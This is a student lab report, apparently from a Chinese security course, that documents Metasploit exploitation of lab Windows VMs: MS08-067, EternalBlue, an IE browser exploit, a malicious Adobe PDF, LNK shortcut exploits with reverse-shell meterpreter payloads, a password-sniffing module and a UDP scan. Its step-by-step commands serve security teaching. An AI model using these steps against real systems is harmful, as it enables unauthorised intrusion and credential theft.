Exp5 MSF基础应用
目录
-
-
ms08_067
+generic/shell reverse_tcp
ms17_010_eternalbule
+padload windows/x64/meterpreter/reverse_tcp
-
windows/browser/ms11_050_mshtml_cobjectelement
+padload windows/meterpreter/reverse_tcp
-
windows/fileformat/adobe_cooltype_sing
padload windows/meterpreter/reverse_tcp
ms10_046_shortcut_icon_dllloader
padload windows/meterpreter/reverse_tcp
ms15_020_shortcut_icon_dllloader
windows/meterpreter/reverse_tcp
windows/shell/reverse_tcp
(唯一)windows/upexec/bind_tcp
(唯一)
-
auxiliary/sniffer/psnuffle
(唯一)auxiliary/scanner/discovery/udp_sweep
(唯一)auxiliary/scanner/smb/smb_ms17_010
-
一、实验目标
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
1.1一个主动攻击实践,如ms08_067; (1分)
1.2 一个针对浏览器的攻击,如ms11_050;(1分)
1.3 一个针对客户端的攻击,如Adobe;(1分)
1.4 成功应用任何一个辅助模块。(0.5分)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
二、基础问题回答
用自己的话解释什么是exploit,payload,encode.
- exploit:是一种利用了漏洞将payload放入靶机中执行的代码模块,主要的作用是针对漏洞进行攻击,前无声息的进入到靶机中,是一个攻击的流程性代码。
- payload:真正在靶机中执行的代码或者指令,在exploit的帮助下进入目标主机,然后获得shell等等。
- encode:将payload中的一些坏字符进行编码修改,使之能够使用的代码。或者能够加密payload,使之躲避AV检查的模块。
一些基础命令和使用说明:
connect
:可以做端口侦听, 也可以连接目标服务器指定端口;
show
: 按两次Tab键 可以查看各类模块, show all则是列出所有模块,例我们查看exploits 则可以通过show exploits里具体可以使用的模块....;
search
: 搜索模块.可以根据文件名,文件类型等指定参数搜索. 具体参数 search -h;
use
: 后面跟模块地址 进入某个指定模块的上下文;
info
: 查看模块说明 ,包括简介,版本,作者,作者联系方式,使用参数说明等;
show options
: 参数配置, Required 为yes则是必需指定的参数, Current Setting为默认参数.;
show targets
: 查看可以使用哪些targets;
show payloads
: 查看当前模块适用的payloads. 如果在某一个模块下进行show
payloads 则显示当前模块下的payloads,并不是全局的payloads;
show advanced
: 显示高级参数;
show missing
: 查看哪些必需设置的参数没有设置;
edit
: 对当前脚本文件 进行二次编辑修改;
check
: 检验漏洞存不存在. 不对漏洞进行利用;(部分模块适用)
bank
: 返回到全局环境;
run || exploit
: 运行模块;
creds
: 获取模块的结果;
vulns
: 获取扫描的漏洞信息;
loot
: 查看加密值;
set
: 设置某一个参数;
三、实验过程记录
3.1 主动攻击实践
- 漏洞:
exploit/windows/smb/ms08_067_netapi
- payload:
generic/shell reverse_tcp
- 靶机:windows XP SP3
(1)search ms08_067
,搜寻关于该漏洞的exploit,此处只有一个。
(2)使用这个exploit:use exploit/windows/smb/ms08_067_netapi
(3)接下来选择一个payload,可以show payloads
看一下.
(4)我选择了payload:generic/shell reverse_tcp
。
(5)接下来填入参数,如果要求了required
,那就是一定要填的参数,其余的可不填。
(6)填完了参数后,exploit,运行看看。
(7)可以看到sesion 1 opened
,说明成功了!
输入命令systeminfo
,查看靶机的信息。
- 漏洞:
ms17_010_eternalbule
- payload:
windows/x64/meterpreter/reverse_tcp
- 靶机:windows server 2008 R2
(1)search ms17_010
(2)使用辅助模块来扫描一下靶机是否有这个漏洞:use auxiliary/scanner/smb/smb_ms17_010
。
(3)设置靶机的IP地址:set rhost 192.168.1.212
。
扫描结果显示:该靶机十分容易收到该漏洞攻击~
(4)使用payload: windows/x64/meterpreter/reverse_tcp
(5)输入命令:options
,看看参数和靶机。
(6)根据options设置必须的参数。
(7)exploit
,会看到出现了很多东西。
(8)最后最后,看见win
了,成功,session也出现啦!
3.2针对浏览器的攻击
- exploit:
windows/browser/ms11_050_mshtml_cobjectelement
- payload:
windows/meterpreter/reverse_tcp
- 靶机:windows XP SP3 + IE 7
(1)使用该exploit:use exploit/windows/browser/ms11_050_mshtml_cobjectelement
。
(2)输入命令:info
,看一看关于该exploit的信息,可用的靶机和需要的参数等。
(3)看看它的描述,了解它的用途。
(4)输入命令选择payload:set payload windows/meterpreter/reverse_tcp
.
(5)根据具体信息设置各个对应参数。
(6)输入命令:exploit
,出现一个URL,将这个链接复制到靶机中用IE7.0打开。
(7)然后就可以发现,session+id已经opened了。这里由于比较卡,我就反复刷新链接,还用另一个靶机试了试,导致了,建立了好几个会话。事实上,如果没反应可以再耐心等待一会儿,只需要建立一个session其实就可以了。
(8)sessions -l
,列出所有的会话。
(9)sessions -i +id
,连接这个会话。
(10)可以发现成功了~~~
3.3针对客户端的攻击
- exploit:
windows/fileformat/adobe_cooltype_sing
- payload:
windows/meterpreter/reverse_tcp
- 靶机:windows XP SP3 + 9.3.3的Adobe Reader
实验之前需要对靶机进行配置,安装好9.3.3的Adobe Reader,并取消自动更新软件。(花了很长时间)
(1)和之前一样,需要use exploit/windows/fileformat/adobe_cooltype_sing
。
(2)info看看信息描述,了解下怎么用,可以看到对与版本8.2.4和9.3.4的Adobe Reader 是可以成功的。
(3)set payload windows/meterpreter/reverse_tcp
(4)改一下生成的pdf的文件的名字:set FILENAME 5114.pdf
.
(5)exploit,看到了这个pdf以及其存放位置。
(6)然后输入back
,返回,使用exploit/multi/hander
进行监听。
(7)同样需要设置payload和配置参数。
(8)set payload windows/meterpreter/reverse_tcp
.
(9)再次exploit
,运行看看。
(10)此时再将文件5114.pdf
放到靶机上,并用Adobe Reader 9.3.3打开,如图所示:
(11)返回kali,可以看到sesion 2 opened
,说明成功了!
(12)如果在靶机关掉该pdf文件,则主机也会失去会话.
- 漏洞:
ms10_046_shortcut_icon_dllloader
- payload:
windows/meterpreter/reverse_tcp
- 靶机:windows XP SP3
(1)使用这个exploit:use exploit/windows/smb/ms10_046_shortcut_icon_dllloader
(2)set payload windows/meterpreter/reverse_tcp
。
(3)配置好靶机IP地址和攻击机IP地址和端口等。
(4)exploit
,生成了一个lnk类型的文件msf.lnk
(5)将这个文件msf.lnk
传送或者复制到靶机中。
(6)点击并运行这个文件,返回Kali可以看到正在建立连接,meterpreter session 1 opened
。
(7)sessions -l
,列出所有的会话。
(8)sessions -i 1
,连接这个会话。
(9)成功了~~~
漏洞:
ms15_020_shortcut_icon_dllloader
payload
windows/meterpreter/reverse_tcp
windows/shell/reverse_tcp
windows/upexec/bind_tcp
靶机:windows XP SP2
此模块利用MS10-046修补程序中的漏洞滥用(再次)处理包含指向恶意DLL的图标资源的Windows快捷方式文件(.LNK)。这将创建SMB资源以提供有效负载和触发器,并生成必须发送到目标的LNK文件。此模块已在安装了MS10-046的Windows 2003 SP2和安装了MS14-027的Windows 2008 SP2(32位)上成功测试。
(1)和之前步骤相同:use exploit/windows/smb/ms15_020_shortcut_icon_dllloader
,info看一看详细信息。
(2)可以在如图的网址中获得更多的详细信息:
(3)set payload windows/meterpreter/reverse_tcp
。
(4)常规配置,可以将该文件改名,此处我改为20165114.lnk
。
(5)exploit
,生成文件,将文件20165114.lnk
复制到靶机上,然后运行它。
(6)顺利连上了session。
(7)接下来我们可以试着换一个payload试试。
(8)set payload windows/shell/reverse_tcp
。
(9)参数的配置略有不同,但也很简单,配置完后可以直接exploit
。
(10)和之前一样,生成文件并复制到靶机上运行。
(11)建立会话并开始会话后,成功获得shell。
(12)换一个名为windows/upexec/bind_tcp的payload
试试看。
(13)需要填一个名为PEXEC的参数,后面的解释说对这个文件加载和执行的完整地址,其实我不是很明白是什么意思。
(14)试着填一下set PEXEC /root
,看看能不能成功。后来生成文件没有问题,但是在靶机上运行kali也没有反应。猜测估计与参数PEXEC有关系,暂时还没有成功解决这个问题。
3.4辅助模块的应用
密码嗅探模块auxiliary/sniffer/psnuffle
- 目前支持pop3.imap.ftp.http GET协议
- 支持从pcap抓包文件中提取密码,功能类似于dnsiff。
- 这个模块我们可以什么都不用配置,默认抓取本机的流量.
- 支持分析抓包文件嗅探. 使用set PCAPFILE 导入文件即可.
- 查看结果可以使用jobs. 删除结果可以使用kill 加上对应的jobs id值.
(1)使用这个模块:use auxiliary/sniffer/psnuffle
(2)照例查看一下info。
(3)参数PCAPFILE就是可以设置为分析的包文件名字,可以直接对抓好的包提取密码。
(4)exploit
一下,可以看到抓到了很多流量。
(5)登陆一个叫天翼快递的网站,然后输入用户名密码,如果是GET类型的HTTP可以解析出用户名密码。
(6)抓到了这个数据包,但是是POST类型的,无法成功解析。
(7)下图是wireshark抓到的含有用户名和密码的数据包。
UDP服务扫描模块:auxiliary/scanner/discovery/udp_sweep
- UDP服务扫描模块运行我们检测模板系统的UDP服务。由于UDP是一个无连接协议(不面向连接),所以探测比TCP困难。使用UDP服务探测模块可以帮助我们找到一些有用的信息。
(1)使用这个模块:use auxiliary/scanner/discovery/udp_sweep
(2)info
看一下信息、参数。
(3)设置扫描的靶机的范围:set RHOSTS 192.168.1.1/24
(4)run
,扫描结果就出来了。
四、实践总结和体会
- 此次实验我做了比较久,主要在对于靶机的配置上。对于不熟悉的漏洞,不知道如何使用和配置对应的靶机;也花了很多时间去寻找和配置漏洞需要的靶机;在实验过程中,我看到了很多exploit、payload、auxiliary,熟悉的和不熟悉……。在不断尝试的过程中,发现这些漏洞针对着不同的系统和环境,也明白了软件和系统的更新十分重要,利用漏洞和带有漏洞的一些软件等,悄无声息地入侵目标主机。且这种攻击都十分广泛,很多知名地软件都存在严重漏洞,如果不及时更新的话,很容易收到攻击。
- 我也理解了漏洞和exploit有关,而payload是可以与各种exploit配合使用的,auxiliary是执行信息收集、枚举、扫描等的辅助模块,是没有payload的模块。
五、离实战还缺些什么步骤
- 需要和目标主机在同一网段,才能攻击成功。
- 需要目标主机有合适的配置和环境,比如说需要装有有漏洞的软件,成功诱导用户打开某由exploit和payload生成的链接、恶意文件等等。
- 对目标主机开放的端口等等进行扫描,了解目标主机的系统信息等。
- 要想真正侵入目标主机,现在已经非常不容易了,因为现在的系统和软件,一旦发现漏洞就会打上补丁等等,需要新型的,不被大家所知的新漏洞,才能更加顺利入侵目标系统。